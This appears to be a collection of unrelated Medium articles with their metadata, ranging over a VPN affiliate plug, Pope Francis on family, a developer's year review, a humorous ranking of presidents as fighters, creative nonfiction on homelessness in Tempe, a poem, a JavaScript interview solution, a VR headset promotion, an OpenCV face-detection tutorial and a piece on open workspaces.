Flick And the City is a great YouTube channel, but it’s not the only cinema oriented YT chan out there. I like to follow two other prominent YouTubers, and I hope you’ll find them entertaining too. Film Radar is another great YouTube channel for movie lovers. And Variant Comics will be great if you like to read comics. They are also suggesting NordVPN cybersecurity for their fans!
Wait no longer and start protecting yourself with NordVPN | https://medium.com/@frandyekkonen/best-nordvpn-discount-from-flicks-and-the-city-8a7b97a7f6b | ['Frandy Ekkonen'] | 2020-09-02 12:06:38.998000+00:00 | ['Cybersecurity', 'Discount', 'Deal', 'Privacy', 'VPN'] |
Dwelling on the Family with Pope Francis | Musings
Dwelling on the Family with Pope Francis
Image courtesy of Crux
Preface
It is a universal practice among Catholics to pay homage to the Holy Family, namely, the Blessed Virgin Mary, her spouse Saint Joseph the Carpenter, and their Son, the Child Jesus who is the Christ, on the Sunday immediately following Christmas. It is called the Feast of the Holy Family.
Photo courtesy of the Irish Times
This observance has become an occasion to dwell on the importance of family in the development of its individual members and the society in which the family is situated. In recent years, none has been more vocal and passionate in the advocacy for family rights and concerns than the Supreme Pontiff of the Catholic Church himself, Pope Francis.
My early morning reflection on the subject became an occasion to review some of the Pope’s recent statements on the matter. As I read along, I found myself highlighting particular excerpts of direct quotations that impressed me.
I have clustered the random excerpts into topical areas which I captioned with subtitles. I hope this will help for easier reading and better appreciation of their significance.
I — A Scriptural Exegesis on the Holy Family
o The most beautiful thing God made — so the Bible tells us — was the family. He created man and woman. And he gave them everything. He entrusted the world to them: “Grow, multiply, cultivate the earth, make it bear fruit, let it grow”. All the love he put into that marvelous creation, he entrusted to a family.
o God came into the world in a family. And he could do this because that family was a family with a heart open to love, a family whose doors were open.
o To understand the family today, we too need to enter — like Charles de Foucauld — into the mystery of the family of Nazareth, into its quiet daily life, not unlike that of most families, with their problems and their simple joys, a life marked by serene patience amid adversity, respect for others, a humility which is freeing and which flowers in service, a life of fraternity rooted in the sense that we are all members of one body.
o Every family should look to the icon of the Holy Family of Nazareth. Its daily life had its share of burdens and even nightmares, as when they met with Herod’s implacable violence. This last was an experience that, sad to say, continues to afflict the many refugee families who in our day feel rejected and helpless.
Like the Magi, our families are invited to contemplate the Child and his Mother, to bow down and worship him (cf. Mt 2:11). Like Mary, they are asked to face their family’s challenges with courage and serenity, in good times and bad, and to keep in their heart the great things which God has done (cf. Lk 2:19, 51). The treasury of Mary’s heart also contains the experiences of every family, which she cherishes. For this reason, she can help us understand the meaning of these experiences and to hear the message God wishes to communicate through the life of our families.
o The Gospel presents the Holy Family to us on the sorrowful road of exile, seeking refuge in Egypt. Joseph, Mary and Jesus experienced the tragic fate of refugees, which is marked by fear, uncertainty and unease (cf. Mt 2:13–15; 19–23). Unfortunately, in our own time, millions of families can identify with this sad reality.
o The nuclear family of Jesus, Mary and Joseph is for each believer and especially for families an authentic school of the Gospel… The classic traits of the Holy Family are: reflection and prayer, mutual understanding and respect, and a spirit of sacrifice, work and solidarity.
o This light which comes from the Holy Family encourages us to offer human warmth in those family situations in which, for various reasons, peace is lacking, harmony is lacking, and forgiveness is lacking.
o One day, to those who told him that his mother and brothers were outside looking for him, Jesus responds, pointing to his disciples: “Here are my mother and my brothers! Whoever does the will of God is my brother, and sister, and mother” (Mk 3:34–35).
II — A Sociology of Family
o The family remains the basic unit of society and the first school in which children learn the human, spiritual and moral values which enable them to be a beacon of goodness, integrity and justice in our communities.
o Every family is the principal setting for the growth of each individual, since it is through the family that human beings become open to life and the natural need for relationships with others.
o Family bonds are essential for the stability of relationships in society, for the work of education and for integral human development, for they are inspired by love, responsible inter-generational solidarity and mutual trust.
o The family is the primary setting for socialization, since it is where we first learn to relate to others, to listen and share, to be patient and show respect, to help one another and live as one…There is no social bond without this primary, everyday, almost microscopic aspect of living side by side, crossing paths at different times of the day, being concerned about everything that affects us, helping one another with ordinary little things. Every day the family has to come up with new ways of appreciating and acknowledging its members.
o The family constitutes the best “social capital”. It cannot be replaced by other institutions. It needs to be helped and strengthened, lest we lose our proper sense of the services which society as a whole provides. Those services which society offers to its citizens are not a type of alms, but rather a genuine “social debt” with respect to the institution of the family.
o I said it and I repeat it: a house for every family. We must never forget that Jesus was born in a stable, because there was no room in the place; that his family had to leave their home and flee to Egypt, persecuted by Herod. Today there are so many homeless families, either because they have never had a home or because they have lost it for different reasons. Family and dwelling go in hand.
o The lack of dignified or affordable housing often leads to the postponement of formal relationships. It should be kept in mind that “the family has the right to decent housing, fitting for family life and commensurate to the number of the members, in a physical environment that provides the basic services for the life of the family and the community”. Families and homes go together. This makes us see how important it is to insist on the rights of the family and not only those of individuals.
o I think of all those families which lack housing or live in overcrowded conditions. Families which lack the basics to be able to build bonds of closeness, security and protection from troubles of any kind.
o Let us continue to work so that all families have a dwelling.
o We cannot call any society healthy when it does not leave real room for family life. We cannot think that a society has a future when it fails to pass laws capable of protecting families and ensuring their basic needs, especially those of families just starting out.
o In particular, I would like to call attention to those family members who are the most vulnerable, the young… Their problems are our problems. We cannot avoid them. We need to face them together, to talk about them and to seek effective solutions rather than getting bogged down in discussions.
o We have to care in a special way for children and for grandparents. Children and young people are the future; they are our strength; they are what keep us moving forward. They are the ones in whom we put our hope. Grandparents are a family’s memory.
III — A Theology of Family
o The “Gospel of the family” is truly “good news” in a world where self-concern seems to reign supreme! We are not speaking about some romantic dream: the perseverance which is called for in having a family and raising it transforms the world and human history.
o Allow me to call your attention to the value and beauty of marriage. The complementarity of man and woman, the pinnacle of divine creation, is being questioned by the so-called gender ideology, in the name of a more free and just society. The differences between man and woman are not for opposition or subordination, but for communion and generation, always in the “image and likeness” of God. Without mutual self-giving, neither one can understand the other in depth.
o The family is the fundamental cell of society, where we learn to live with others despite our differences and to belong to one another; it is also the place where parents pass on the faith to their children”
o it is very important to reaffirm the family, which remains the essential cell of society and the Church; young people, who are the face of the Church’s future; women, who play a fundamental role in passing on the faith and who are a daily source of strength in a society that carries this faith forward and renews it
o The values and virtues of the family, its essential truths, are the strengths on which the family nucleus rests. Families have an indispensable mission in society. It is in the family that children are trained in sound values, high ideals and genuine concern for others.
o Pope John Paul II wrote in the Apostolic Exhortation Familiaris Consortio, the family is not merely the sum of persons belonging to it, but a “community of persons” (cf. nn. 17–18). And a community is more than the sum total of persons that belong to it. It is the place where one learns to love, it is the natural center of human life. It is made up of faces, of people who love, dialogue, make self-sacrifices for one another and defend life, especially of the most vulnerable and the weakest
o Every threat to the family is a threat to society itself. The future of humanity, as Saint John Paul II often said, passes through the family (cf. Familiaris Consortio, 85). The future passes through the family. So protect your families!
o As Christians, we appreciate the beauty of the family and of family life as the place where we come to learn the meaning and value of human relationships
o A Church which is family is also able to show the closeness and love of a father, a responsible guardian who protects without confining, who corrects without demeaning, who trains by example and patience, sometimes simply by a silence which bespeaks prayerful and trusting expectation.
o The family is a great training ground for the mutual giving and forgiving without which no love can last for long. Without self-giving and seeking forgiveness love does not last, it does not endure. . . . If we learn to live this way in the family, we can also do so outside, wherever we may be.
o Our response to a world at war has a name: its name is fraternity, its name is brotherhood, its name is communion, its name is family. We celebrate the fact that coming from different cultures, we have come together to pray. Let our best word, our best argument, be our unity in prayer.
IV — A Spirituality of Family Life and Love
o The “home” is a crucial place in life, where life grows and can be fulfilled, because it is a place in which every person learns to receive love and to give love.
o For most of us, the family is the principal place in which we begin to “breathe” values and ideals, as we develop our full capacity for virtue and charity
o Those who believe are never alone, and this is why faith tends to spread, as it invites others to share in its joy. Those who receive faith discover that their horizons expand as new and enriching relationships come to life. Tertullian puts this well when he describes the catechumens who, “after the cleansing which gives new birth” are welcomed into the house of their mother and, as part of a new family, pray the Our Father together with their brothers and sisters
o “The language of the family is a language of peace”. Sadly, this is often not the case, as the number of broken and troubled families is on the rise, not simply because of the weakening sense of belonging so typical of today’s world, but also because of the adverse conditions in which many families are forced to live, even to the point where they lack basic means of subsistence.
o The family is a place where evangelical holiness is lived out in the most ordinary conditions. There we are formed by the memory of past generations and we put down roots which enable us to go far. The family is a place of discernment, where we learn to recognize God’s plan for our lives and to embrace it with trust.
o In the family we learn how to love, to forgive, to be generous and open, not closed and selfish. We learn to move beyond our own needs, to encounter others and share our lives with them. That is why it is so important to pray as a family!
o The family is a school where prayer also reminds us that we are not isolated individuals; we are one and we have a neighbor close at hand: he or she is living under the same roof, is a part of our life, and is in need.
o The family, where we keep loving one another despite our limits and sins, thus becomes a school of forgiveness. Forgiveness is itself a process of communication. When contrition is expressed and accepted, it becomes possible to restore and rebuild the communication which broke down. A child who has learned in the family to listen to others, to speak respectfully and to express his or her view without negating that of others, will be a force for dialogue and reconciliation in society.
o We pause every now and then and pray in silence for all families in difficulty, whether due to problems of illness, unemployment, discrimination, need to emigrate, due to difficulty in understanding each other and also to disunion
V — An Ethical Guide for Familial Relationships
o It means caring for one another in our families: husbands and wives first protect one another, and then, as parents, they care for their children, and children themselves, in time, protect their parents.
o Being in a family means that even if some of its members may be far away, scattered across the world, the deep bonds that unite all the members of a family stay solid however great the distance.
o Growing up with brothers and sisters makes for a beautiful experience of caring for and helping one another. For “fraternity in families is especially radiant when we see the care, the patience, the affection that surround the little brother or sister who is frail, sick or disabled”…It must be acknowledged that “having a brother or a sister who loves you is a profound, precious and unique experience”.
o Fraternity is generally first learned in the family, thanks above all to the responsible and complementary roles of each of its members, particularly the father and the mother. The family is the wellspring of all fraternity
o Familial fraternity shines in a special way when we see the care, the patience, the affection that envelop the weakest little brother or sister, sick or physically challenged. . . The smallest, the weakest, the poorest soften us: they have the “right” to take our heart and soul.
o It is important to know this. The rule of hospitality has always been sacred in the simplest Christian families: there is always a plate and a bed for the one in need…The example of so many dads and mamas, who teach their children that what we have extra is for those who lack the basic necessities.
o We must be more attentive: the absent father figure in the life of little ones and young people causes gaps and wounds that may even be very serious. And, in effect, delinquency among children and adolescents can be largely attributed to this lack, to the shortage of examples and authoritative guidance in their everyday life, a shortage of closeness, a shortage of love from the father.
o The family is the best setting for learning and applying the culture of forgiveness, peace and reconciliation.
o In the family we learn solidarity, how to share, to discern, to walk ahead with each other’s problems, to fight and to make up, to argue and to embrace and to kiss. The family is the first school of the nation, and in the family you will find that richness and value that you have. The family is like the custodian of that great value, in the family you will find hope, for Jesus is there, and in the family you will have dignity. Never, never put the family to one side; the family is the founding stone upon which a great nation is built.
Service is the sign of true love. Those who love know how to serve others. We learn this especially in the family, where we become servants out of love for one another. In the heart of the family, no one is rejected; all have the same value.
Happy feast of the Holy Family!
Ave Maria! | https://medium.com/ave-maria/dwelling-on-the-family-with-pope-francis-acfacefec067 | [] | 2020-12-27 10:49:04.431000+00:00 | ['Pope Francis', 'Catholic', 'Jesus', 'Family', 'Church History'] |
My 2018 Annual Review | Presenting at RubyKaigi 2018 in Sendai, Japan
New Year is a good time to reflect on the ups and downs of my previous year. I’ve never done any official review, so this year, I decided to replace my vague ruminations about the past year and instead turn them into more concrete plans and ideas.
This review organises my thoughts along three questions shamelessly stolen from James Clear:
1. What went well this year?
2. What didn’t go so well this year?
3. What am I working toward?
I would like to start with a few caveats. I’m on a personal journey of discovery and improvement. I seek to understand what inspires me and creates fire in my belly. You may find things here that resonate with you. If so, that’s great! However, I don’t pretend to be an old sage wise with the hindsight that tells anyone how to live their life. I’m more of an explorer, correcting his life’s trajectory among many experience islands.
Peter Drucker is credited with saying “you can’t manage what you can’t measure”. With this Annual Review, I’m curious to find out my progress, how my thinking changed over time and provide a trail of behaviours that shaped the person I am now.
That said, let’s start with the good stuff.
1. What went well this year?
Open source. It really felt like a prolific year. I wrote many Ruby gems! Seven to be precise:
I had tons of fun, in particular, coming up with the coinpare tool for checking and tracking cryptocurrency investments. With little effort, using predominantly tty gems, I built a fairly complex command line application. I’m a great believer in libraries that do one thing very well. This project gave me extra validation for the general idea of independent, minimal and reusable components.
I resurrected a Ruby gem called finite_machine which I haven’t actively maintained since 2015. It had some thorny issues related to code design and specifically threading. The rewrite has taught me a few valuable lessons. One of them that naming concepts is an important part of clarifying intention behind system components. Another one that less is more when it comes to software design. By removing unnecessary features and simplifying design, I fixed long-standing issues including threading. It was interesting to see how my thinking about structuring code has changed. I confirmed that my intuition and code sensibilities have greatly improved. Nowadays, I really appreciate simple design.
Conference speaking. This year has delivered some of the most memorable speaking engagements! I had a chance to speak at:
RubyConf India
Bath Ruby
RubyKaigi Japan
Brighton Ruby
The Ruby Conference in India was a very unique experience. I get to be on stage but in a more lighthearted way, making jokes about Ruby and having fun with the audience. Probably the best aspect of the conference was the people — cheerful, engaging and super friendly.
My dream came true when I had a chance to speak at Ruby Kaigi in Japan! The experience was more than I expected. I had many anxieties about my talk but everything went smoothly. I received, as a thank you token, a little badge with actual Ruby in it! It was a super well-organised conference! The level of the talks was extraordinary and covered many complex topics in great detail.
Travel. I’ve done two major trips this year — India and Japan.
India is such a fantastic place, it has the highest contrast between everything I’ve seen in my life. I’ve never experienced so many different smells, sounds and colours vying for my attention. Walking around Bangalore, I saw a guy on a white horse travelling down a busy road among honking of millions of cars. On the same day, I got kicked in the shin by a begging kid because I’d run out of money and had nothing to give! Even though I’ve seen a lot of poverty, I have also seen a lot of entrepreneurial spirit; people selling flower arrangements for weddings or used helmets for motorbikes. Among all the things, I also experienced most delicious foods and went vegetarian for the duration of the trip.
My journey in Japan started from Tokyo. Whilst there, I went on a kayaking trip down the canals to see Tokyo Skytree; trained swordsmanship with katana in a traditional Japanese house and learnt how to prepare Edo sushi from scratch with a great master called Norisan. Following on from my Tokyo experiences, I ended up in Sendai where I delivered my Ruby conference presentation. My last stop on the journey was Kanazawa, a historical city famed for its samurai traditions and beautiful gardens.
I also had a chance to take my parents to Warsaw, the capital of Poland, for the first time. It’s weird that sometimes you live in a country all your life but you never visit the capital city. I hope to explore more Polish cities in immediate future.
2. What didn’t go so well this year?
Programming. I’m annoyed at myself that among all the many open source projects that I have created I’ve failed to learn and explore new programming languages. I really wish to expand my programming skills in functional languages. Specifically, I plan to learn to code in a LISP family language, with Racket being the main candidate.
Conference Speaking. I have been rejected from quite a few conferences this year and probably the rejections that sucked the most were the Ruby Conference in USA and Australia. I’ve also been rejected from EuRuKo but I could deal with it fairly easily as this is my ‘tradition’ since 2016 — applying and getting declined. It’s always a game of strong will for me, who is going to win this time? EuRuKo by rejecting me one more time or me giving up?
Weightlifting. This year has been abysmal when it comes to reaching my goals. I had long breaks due to conference speaking and travelling that translated into me feeling like I’m constantly trying to get started, rather than continue my workouts. Against all odds, I achieved the following results for the big lifts:
Squat 100 kg (220 lb) for 3 reps
Bench Press 70 kg (154 lb) for 3 reps
Deadlift 80 kg (176 lb) for 5 reps
Blog. I was hoping to finish building my personal website and publish some articles. I’ve even gone so far as to write a few drafts. I haven’t finished any of the articles to a point where I would be happy to share them with the world. The main reason that I’m struggling to launch this project is more to do with my attitude towards it, rather than anything technical or a lack of time. There is a lot of self-doubt connected with this idea. I cannot decide on what things I should focus on sharing and what will resonate with people.
3. What am I working toward?
The overarching idea for 2019 is to get out of my comfort zone and experience new ideas, people and places. More output and less self-judging! In particular, my attention will be fixed on two themes:
Collaboration. I wish to collaborate with more people. I feel that I had been too much of a hermit over the last year and need to expose myself more to fresh ideas and new people.
Growth. Learning did not enter much of a picture in 2018. I did a lot of things but haven’t felt like I’ve learnt much. The internal dialogue was more to do with actually producing output and finding solutions to meet a particular goal than discovering new things. Now I want to observe more, learn from different areas for the sake of it and improve on a daily basis.
To help me realise the above goals I plan to focus on:
Writing. I really want to be able to produce some useful articles on various subjects from a very specific tutorial type of ‘how to do X’ to more general abstract themes like software architecture or open source maintenance. Through writing, I want to discover my own voice and clarify my thinking.
3D printing. This is one of these exciting technological developments that I didn’t dip my toe in much. Nowadays, as the prices are at a reasonable level, I’m seriously considering getting myself a printer and seeing what I can create with it. I would like to be able to print progressively more complex structures such as humanoid robot parts.
Mixed Martial Arts(MMA). This one may seem to be out of character but I’ve been following MMA events for a few years now, partly because of Joanna Jędrzejczyk and her phenomenal fights in UFC, and partly due to my work buddies. I was always curious about martial arts but I haven’t done any myself. It’s not necessarily the fighting techniques that appeal to me but the notion of a ‘fighter’. I think being a ‘fighter’ is a universal yearning in all of us. We fight for our freedom, our values, our family. I need to find a place where I can start doing some practice!
Travel. I’ve been thinking about the notion of travelling to ‘nearby’ places and less commercialised parts of the world. Surprisingly enough, even though it is a couple of hours train journey away, I’ve never been to Wales. Can you believe it? I’ve also never set foot in France, even though I could travel there on a train as well. Unbelievable. Of course, I still wish to maintain international travels to far away countries and at least do two major journeys in 2019.
Things could always be better but overall I’m pleased with my progress in the last 12 months. This is my best attempt at figuring out this thing called life. As always, there are no certainties, only guesses at what may yield positive and lasting changes.
That’s all I’ve got for this year. Thank you for reading and hope 2019 is full of transformative experiences! | https://medium.com/@piotrmurach/my-2018-annual-review-92a07de2f2d4 | ['Piotr Murach'] | 2019-06-07 21:15:34.618000+00:00 | ['Blog', 'Goals', 'Software Development', 'Open Source', 'Year In Review'] |
Punching with presidents | Jesse Kelly ruled out Teddy Roosevelt because he’s an obvious good pick. But who else is a good pick? I say Abraham Lincoln, Andrew Jackson, George Washington, or William Howard Taft. I can already hear the likely reactions:
Wait, Taft? The famously fat “bathtub” president? What?
As a numbers guy, I like to be systematic. We’ll get to what’s special about Taft in a minute. First, note that presidents are typically distinguished elder statesmen. While many served in the military, most of them were past their physical prime.
What makes someone good in a brawl?
To score all the presidents systematically, I came up with two basic indices: Body and violence. Then I combined them to produce a composite score.
Body, given by height (in inches) minus age at inauguration (in years) plus the square root of how many years they had left in their natural lifespan at that point. This last factor may seem odd, but it’s a crude proxy for health relative to age. Size is usually an advantage in a fight, while age and health are the biggest likely limiting factors for an elder statesman engaged in fisticuffs.
For presidents who were assassinated or are still living today, I simply took the average natural remaining lifespan, based on a life table. Finally, I assigned a twenty point penalty to FDR’s body score on the basis of his partial paralysis.
Artist’s depiction of future president Teddy Roosevelt and company charging up the hill on the battlefield.
Violence, given as 10 points for each of the following: Military service of any kind at any point in their life, seeing ground combat action, having killed someone outside of ground combat, surviving being shot, and participating in a duel. A number of presidents had a documented interest in wrestling or other martial arts; for this, I added 10 or 20 points, on the following rubric:
10 points: Documented as competitive or at least serious hobbyists.
20 points: Capable enough to win championships or obsessively trained as a mixed martial artist while in office. (The latter being Teddy Roosevelt.)
Distribution of brawling scores. Lincoln and Roosevelt are clear outliers here.
After building these two indices, I had a minor issue to address: The range and variance of the violence scores (0–50) was significantly larger than the variance of the body scores (6.4–34.7). To equalize the impact of the two factors, I multiplied the body score by a factor of 1.6 before adding the two together. Composite scores then ranged from ten to one hundred.
The full ranking of presidents | https://tomasmcintee.medium.com/punching-with-presidents-4f2dde59da24 | ['Tomas Mcintee'] | 2020-03-03 00:50:53.535000+00:00 | ['Data Analysis', 'Presidential', 'Taft', 'Funny', 'Us History'] |
Freedom | The Palo Verdes grow thick and tangled along the southern edge of Papago Park. They sit in a sandy wash on the north side of a chain link fence that protects their wildness from the clean corporate lines of Tempe Town Lake. As that 2-mile stretch of desert reservoir finally brought its promised development, the park’s trees twisted into a haven for folks with different aspirations. But even fenced off and in the dappled shade they were too close to the new condos. This is the pinch of progress: where to go?
I told Chris I hadn’t seen him in a while. “I been goin’ all over the place — Mesa, other cities…” his accented Nigerian English trailed off. The last few months had him feeling unsteady. “I just need to find a place to stay.”
Chris wore three shirts: colorful, button-down plaid near his skin, cyan — similar style — on top of that, an extra-large faded blue polo for the outer layer. He leaned toward me, speaking with his elbows on his knees, which were forward of his sneakers. Fingers kneaded, picking at his cuticles — less out of habit, more for a place to look.
I’ve known him a couple of years, and he’d always seemed to make do on Tempe’s streets. His life had a certain rhythm, but the renovations in Daly Park across the street had thrown it off. “It’s not a safe place,” he reasoned.
Pinched out of Papago, they mostly took the bridge across the lake, heading to the south side of the university campus. The problem: pruned Palo Verdes can’t hide anyone.
“The police, they want me, so I gotta move so they don’t get me.”
“Why would they want to get you?” I asked, because I don’t know the exhaustion of an endless calculus: “Oh! About moving around, about sitting in the wrong place, about people coming at night, about police saying oh you can’t be here it’s after 10 pm.”
Thinking. Always thinking.
In what is now Papago Park there once stood a prison camp that housed German P.O.W.’s. Early on the morning of December 23, 1944, twenty-five of them stole some rafts and maps and walked out into the desert, intent on floating their way to freedom in Mexico. Their error: assuming rivers in Arizona would have water.
Had he seen the guys he got along with? “I don’t have time to keep up with nobody else. I see him — that’s okay. I don’t see him — that’s okay too. Me, I keep moving.” Always squeezed forward.
“I try to sleep but can’t find no bench and then it’s trespassing or this and that and the police want me and so I don’t sleep and keep moving and then I am always in a new place, new place and I don’t know about this and so I always have to keep thinking and then I wake up and some days I wake and I am already off in my mind and I know it’s not going to be a good day. If I could have some place to stay though.”
Most of the escaped German prisoners were picked up by Arizona ranchers within a few days. One of them lasted a few weeks by tucking himself into the caves that pock the red sandstone outcroppings in Papago. He would sneak back into the camp at night to steal supplies. He learned that you have to make your own maps to survive here.
“What would a good day look like?”
“Ohh!” he chuckled. “Sometimes in the morning I know it’s already off and then it’s not until the afternoon that it might be okay. Because so much to think about. But if I get a place to stay, then other things can work out.” That was his refrain: the relief of a certain kind of future. “That way I don’t think about so many things.”
“What are some things you have to do to get a place?”
“I got to have deposit — cash for deposit, then rent, and then you pay your bills and utilities. But I got no money and can’t get a job. These homes sometimes have lots of people in them, they just big and people cause trouble and they have rules, rules but people mess with you and you got to be there at this time and this time and that and that and there are living rooms and guys, they just want trouble, trouble.” Stuck in the open.
Prodded along by countless constraints, Chris arrived at the Easter breakfast just after we started, which is to say that liturgical time and Chris’s time can align on occasion. “I used to come to a church. Wednesdays, they pray. Sundays, they do worship. I come to those things,” he said without my asking. His explanation: “I get a place to stay, I don’t have to think too much.” His life just didn’t have space for that stuff now.
He filled a paper plate with casseroles, and he covered it with another. “Maybe I eat this tonight or save it for tomorrow. I eat it tonight because I eat before bedtime and I sleep good.”
We sat in silence, then he shook his head. “I’m sorry, I don’t got nothing else to talk about right now.” He hunched forward as he threw the garbage bag full of his things on his back. Nowhere else to be, but somewhere else to go. “I don’t have nothing else to say.” Tired of my questions. “But pray for me because I think about too much.”
The last German officer turned himself in on January 28, 1945. What was the best he could hope for, really?
“I’ll pray you are able to get peace.”
“Yes. That’s it. That’s it. Peace.”
He moved along, hoping for the freedom of stillness. | https://medium.com/@jason-bruner/freedom-608a0e5c0c5b | ['Jason Bruner'] | 2020-09-09 21:19:56.058000+00:00 | ['Creative Non Fiction', 'Homelessness', 'Arizona'] |
The Invention of Solitude | The Invention of Solitude
Poem for a lonely man
Photo by Ema Dumitru
So alone
I turn on the TV
I pretend the people
on the other side of the screen
are eating with me.
I invoke them
Tend to their image
Stuff their mouths
with unsaid things.
I wear them like masks
Tell them about the world
And how it means profoundly much
for us who don’t have Death
as our own make-up artist.
Weep into a bowl
Eat up my tears
Unfortunately, my friends
There’s no such thing
as immunity to your own suffering.
Future blows the dead past
like smoke. I choke.
I can never be free
in the world of the living.
But it was never a secret.
E.D. | https://medium.com/scrittura/the-invention-of-solitude-87383d138085 | ['Ema Dumitru'] | 2020-12-21 12:13:10.541000+00:00 | ['Poem', 'Poetry', 'Loneliness', 'Isolation'] |
Google Interview Question: Check Sum in Array | Solution
We can do this easily. We take a nested loop and start going through the array, trying every combination until we either reach a combination that equals to sum and then returns true , or reach the end of our loops and return false . However, this wouldn’t be an elegant solution as it would have a time complexity of O(n²).
Instead, let’s try to create a set that can easily be done in JavaScript by creating a simple object. As we will iterate through the array, we can add the current element to our set. If we see that the sum — currentElement exists in the set, we return true. If we go through this whole iteration and reach the array’s end, we return false.
This way we improve our time complexity. I becomes O(n) because we only go through the array once. We also use the same magnitude of space complexity, O(n), because the size of our object is directly dependent on the input array’s size. Here’s the solution:
function checkSumInArray(sum, numbers) {
const parsedNumbers = {}; for (let i = 0; i < numbers.length; i ++) {
const diff = sum - numbers[i];
if (parsedNumbers[diff]) {
return true;
} else {
parsedNumbers[numbers[i]] = true;
}
}; return false;
}
You can try this out by pasting the function into your browser’s console and then giving it an input, like this:
console.log(checkSumInArray(17, [1, 9, 2, 19, 14, 8]));
Is this the best we can do?
I can think of at least one more solution — a solution that would decrease the time complexity to O(n log(n)) . We can use Binary Search to search through the array for sum — numbers[i] — provided we sort numbers array first. This would also decrease space complexity as we would always only need constant space, thus O(1) .
I’ve given you a big hint so I’ll let you have fun with implementing this last solution. I’ve got more of these that I intend to post about, so follow along to hone your whiteboard coding interview skills! | https://medium.com/better-programming/google-interview-question-check-sum-in-array-ba03c0c1a3e6 | ['Angad Singh'] | 2020-03-31 16:53:12.649000+00:00 | ['Interview Questions', 'Google', 'JavaScript', 'Programming', 'Programming Interviews'] |
Human and Cat Face Detection using OpenCV | One of the main ways an object can be detected in OpenCV is the by making use of something called a “Cascade Classifier”. A Cascade classifier can be defined in the following way:
“It is a machine learning based approach where a cascade function is trained from a lot of positive and negative images. It is then used to detect objects in other images.”
By positive images, we mean the objects we want to detect.
By negative images, we mean all the objects we want to avoid.
In our examples, we will work with faces as our objects. So primarily, we will be needing a lot of positive images (Images containing faces) and negative images (Images without faces) to train the classifier.
OpenCV comes with its trainer and detector and if we want we can train classifiers by ourselves . But in our examples we will be using the trained classifiers which exist in the form of XML files available at OpenCV’s github page.
So let’s start identifying faces.
Human face Detection:
Let us consider this image and try to identify all the faces.
Step 1:
Let’s import necessary libraries, read the image and then plot it
Image Reading and Plotting
If you’re unfamiliar with the steps of reading an image, check out this blog of mine.
Step 2:
OpenCv has a function called “CascadeClassifier” in which we are going to pass in the file path of our trainer classifier and then the result of executing this function is stored in a variable called “faceCascade”.
Syntax:
cv.CascadeClassifier(path)
Parameters:
Trained Classifier XML file path
Now to finally detect faces, we are going to use the method called “detectMultiScale” and then store the result in a variable called “detectedFaces” and then print out this variable.
Syntax:
obj=cv.CascadeClassifier.detectMultiScale(image,scaleFactor,minNeighbour)
Parameters:
Image: The image we want to use
Scale Factor: Parameter specifying how much the image size is reduced at each image scale.
MinNeighbour: Specifies how many neighbours a candidate rectangle should have.
Result
The result of execution is actually a matrix containing the length, breadth, width, height of the rectangles denoting our faces in the image provided. Take a close look at the matrix in the figure above.
Step 3: | https://medium.com/analytics-vidhya/human-and-cat-face-detection-using-opencv-92601ddfe2e9 | ['Faiza Anan Noor'] | 2020-12-10 16:08:31.159000+00:00 | ['Detection', 'Image Processing', 'Computer Vision', 'Opencv', 'Python'] |
Best Selling VR Headset For Android iOS | The Best Selling VR Headset:Top rated BNEXT VR Headset available on Amazon with an affordable price of $38.99 and support both Android and iOS.
BNEXT VR Headset
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It comes with soft and comfortable new 3D VR Glasses with eye protection and support both Android and Apple iOS devices.
Best VR Headset for mobile gamers:
Specially built for mobile gamers to provide best gaming experience in 360 with special eye protection to enable gamers to play longer.
Mobile Gamers can use it to play their favorites games for extended longer periods with no burden or probable damage to their eyes.
Gaming and watching movies with virtual reality headsets work best, when your eyes properly align with the screen box.
A Better VR Experience ensure better games and videos in 360 with 35% larger lenses than any other VR headsets..
These BNEXT VR headset offers FD and OD adjustments (wide FOV) to expand the user’s viewing angle.
It perfectly match focal distance and unilateral myopic alignment for reduced distortion and provide amazing gaming experience.
Check out in detial at: Apk Monster Z | https://medium.com/@durraniii393/best-selling-vr-headset-for-android-ios-479c46072d4c | ['Arsalan Durrani'] | 2020-12-27 12:02:54.630000+00:00 | ['Best Selling Products', 'Vr Experiences', 'VR'] |
What to learn from an open workspace | More and more corporations are redesigning their office spaces. Cubicles and private desks are gradually replaced with sofas, shared desks and chairs, so offices get more open for collaboration and interaction. In 2015 Samsung spent millions of dollars on constructing its headquarter in the Silicon Valley. Executives hoped for more mix-and-mingle chances among workers when they placed a shared lobby between the floors. Why is such a giant in technology like Samsung pursuing a tentative open community model for their workspace? Let’s find out by having a look look at how great such a workspace can be.
Open up your plan, open up your future
Have you ever wondered about the rapid growth and surprising creativity of startups? Their workspace is one part of the answer. The idea behind it is that, everyone finds their own seat and sits next to whomever may help them. Subsequently, we can learn what we don’t know yet from our colleagues. This contributes to boosting the collaboration, productivity and even creativity. Because “two heads are better than one”.
The Shortcut Lab offers a collaborative workspace where you can learn, test your ideas and give a hand to a likewise-minded community
An open space helps out a lot in decreasing people’s aversion to stressful hierarchy offices. The workspace is not only for now but also the future. It is for us — adventurers in our entrepreneurial journey — to come and learn. It is, in fact, a community. The idea behind it is that we are all driven by common passion. When an idea pops up, we learn how to develop it, and make it happen. Then all entrepreneurial minds can create strong connections and we can engage in a real hub.
Energy is an epicenter
The energy in an open space comes from the team. We cannot deny the power of team building. No one ever wants to work among strangers and go home alone. The need for enjoying informal interaction is real. We can strengthen our team with lunches, small talks, or even outside activities. They are great opportunities for the whole team to collide and build up a contributive image of a real workspace. Subsequently, we give a hand to the community we are in.
On the other side, openness does not necessarily mean a total mash up. When we share a desk or a couch with our colleagues, we may feel that we are losing our privacy. Then it is about time that we put on our headphone and find our private corner. This is effective in relaxing and re-charging after a long period of talks and interactions.
Privacy in an open plan is necessary as well
Each of us will make it a real open space
There is one more thing to learn from startups: hierarchy does not really exist. Instead, all are welcome and there is no discrimination. No matter if you are a trainee, a student who just gets started with entrepreneurship or a refugee who is interested in kicking off your idea — you are equal to anyone else. Everyone has their own voice. Openness only exists when people can feel it.
The Shortcut Lab is for everyone.
Volunteer meeting is fun at The Shortcut.
Don’t forget about meetings! Meetings are usually perceived as a formal conference with laptops, screens, and serious faces. It might seem like you’re wasting time and only get stressed out. But if you open up your meetings to everyone and encourage the team to speak up about their ideas, you can get so much more out of it.
At the volunteer meetings at The Shortcut everyone is welcome to share their ideas and dive deeply in the organisation. All the peers are encouraged to take over the role of the host to create an interactive atmosphere. Laptops get shut down. Volunteers gather at the couch, start the conversation and soon it feels as if a group of friends is sharing stories.
